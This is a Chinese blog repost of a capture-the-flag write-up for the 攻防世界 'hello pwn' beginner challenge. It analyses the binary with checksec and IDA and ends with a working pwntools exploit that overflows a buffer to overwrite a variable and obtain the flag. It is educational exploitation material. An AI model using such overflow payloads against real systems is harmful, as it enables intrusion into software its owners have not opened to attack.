攻防世界hello pwn WP(pwn入门基础题)

这篇具有很好参考价值的文章主要介绍了攻防世界hello pwn WP(pwn入门基础题)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

攻防世界hello pwn WP(pwn入门基础题)

题目网址:

攻防世界

下载文件,文件名太长了把文件改名为pwn

攻防世界hello pwn WP(pwn入门基础题)

把pwn文件放入kali里面

file一下查看文件类型

攻防世界hello pwn WP(pwn入门基础题)

发现是一个64位的elf文件,加个运行权限,运行一下看看 

攻防世界hello pwn WP(pwn入门基础题)

使用 checksec 检查保护

攻防世界hello pwn WP(pwn入门基础题)

发现只开了 NX 保护。

把pwn放入64位IDA中,F5反汇编一下main函数

攻防世界hello pwn WP(pwn入门基础题)

得到main函数伪代码

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}

点击  read(0, &unk_601068, 0x10uLL);处的unk_601068

攻防世界hello pwn WP(pwn入门基础题)

发现这个要我们输入的变量在bss段处 

bss段:通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。

关键语句是这个 

if ( dword_60106C == 1853186401 )
    sub_400686();

点击sub_400686();发现这个是获取flag的函数

攻防世界hello pwn WP(pwn入门基础题)

所以说题目就是想要当dword_60106C等于1853186401时,给我们flag

但是让我们输入的的变量名为unk_601068,我们正常输入是不能使dword_60106C等于1853186401的,我们要通过栈溢出,使dword_60106C等于1853186401。

我们从IDA中可以看出dword_60106C在unk_601068的下面,在计算机内存中变量应该是从下往上排列的,但是IDA为了符合我们喜欢向下看的习惯,把变量从上往下排了。我们只需要在输入unk_601068时,输入无关的数据,使得栈的指针指向60106C处,然后在此处输入1853186401。即可完成题目要求

攻防世界hello pwn WP(pwn入门基础题)

pwnpayload.:

from pwn import *
context(os='linux', arch="amd64", log_level="debug")
os = remote('61.147.171.105',61286)#填写远程连接的ip和端口
os.recvuntil('lets get helloworld for bof\n')#这里是运行程序将要接收到的文字
payload = b'a'*(0x6c-0x68) + p64(1853186401) #a是垃圾信息 p64指的是以64位打包
os.sendline(payload)
os.interactive()

攻防世界hello pwn WP(pwn入门基础题)文章来源地址https://www.toymoban.com/news/detail-498694.html

到了这里,关于攻防世界hello pwn WP(pwn入门基础题)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 攻防世界web题目记录(一)

    打开后获得源码开始审计 第一个php便是重定向到page页面 第二个是上传文件并保存但是首先需要session为admin 接着看第三个是要利用php弱类型 如果设置了id 并且id的浮点值不等于1并且截取id的最后一个值等于9这里可以使用php弱类型1-9绕过 接着上传文件,这里主要是包括有一个目

    2024年02月07日
    浏览(43)
  • 攻防世界ctf题目easyupload做题笔记。

    刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固。做了半天没有解出来,最后还是看别人的题解做出来的。写下做题过程,也就是wp吧。为了方便以后复习巩固。 本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行 这里需要绕过的点如下 检查文件内

    2024年02月01日
    浏览(41)
  • CTF-攻防世界web新手入门篇

    攻防世界网址 https://adworld.xctf.org.cn 新手篇虽然非常简单,但是对于小白来说这种最常见的常识或者思路可能不熟悉,所以在这里给大家分享一下最不起眼的小常识或者小技巧。 1、view_source 访问题目场景,如下图 鼠标右击不能用,但是F12也可以看源码,发现有个脚本是实现

    2024年02月06日
    浏览(46)
  • CTFshow pwn31 wp

    PWN31 使用checksec查看保护 发现除了canary剩下保护全开,那么就没有前面几个题目那么简单了,ida打开看见他给了我们main函数地址 虽然开了pie但是在他们之间的偏移是一定的,那么我们就可以通过他给的main函数的真实地址减去偏移得到文件(elf)的基地址,然后puts_plt puts_g

    2024年04月08日
    浏览(35)
  • 2023柏鹭杯pwn wp

    博客 对数组模拟栈的那个栈顶没做下溢校验,先输入符号可以构成溢出点 这样输入即可将栈顶迁移到任意位置 需要逆向整个模拟栈的结构 可以配合动态调试得出模拟栈结构 addr+0 0 addr+1 符号位 addr+2 0 addr+3 栈顶偏移 addr+4 第一个数 addr+5 第二个数 通过处理符号进行运算的时候

    2024年02月08日
    浏览(28)
  • CTFshow-pwn入门-前置基础pwn32-pwn34

    FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpy、sprintf、strcat,编译器会提示你用xx_s加强版函数。 FORTIFY_SOURCE本质上一种检查和替换机制,对GCC和glibc的一个安全补丁。 目前支持memcpy, memmove, memset, strcpy, s

    2024年02月09日
    浏览(33)
  • RSA原理理解以及攻防世界(初识RSA)解题思路-0基础理解

    下载附件后,我们看到的是这样一个界面,这里需要理解RSA的构造 RSA加密算法是一种非对称加密算法 ,在公开密钥加密和电子商业中被广泛使用 。对极大整数做因数分解的难度决定了RSA算法的可靠性 。换言之,对一极大整数做因数分解愈困难,RSA算法愈可靠。假如有人找到

    2024年01月15日
    浏览(35)
  • [wp]“古剑山”第一届全国大学生网络攻防大赛 Web部分wp

    群友说是原题杯 哈哈哈哈 我也不懂 我比赛打的少  Web | unse 源码: 先伪协议读取test.php 然后得到反序列化源码: a中的$this-a触发bgood中的__toString方法,将$this-a赋值为new bfun()。 bdun中的$items[‘dd’]触发cfun中的__get函数,给$items[‘dd’]赋值为new cfun()。 最后让cdun中的$params[‘

    2024年02月04日
    浏览(57)
  • CTFd平台使用docker配置pwn题目

    目录 1.安装docker和ctf_xinetd         1.docker:         2.ctf_xinetd的下载与使用         3.Docker Hub 镜像加速器         检查加速器是否生效         Docker Hub 镜像测速 2.制作镜像并上传 1.先配置好flag文件不要忘了,保证和CTFd平台的一样。 本人的目的: 2.Dockerfile:

    2023年04月09日
    浏览(53)
  • BUUCTF题目Web部分wp(持续更新)

    如有权限,查询当前用户可以访问的所有表 字符串拼接,避免字符串被过滤。 利用字符串内联注入 利用终止式SQL注入 。也就是利用SQL语法中的注释。 利用 having 1=1 并观察报错来确定列名。因为sql语句中原本没有聚合函数,那么having 1=1就会爆出语法错误。这样语法解析时会

    2024年02月13日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包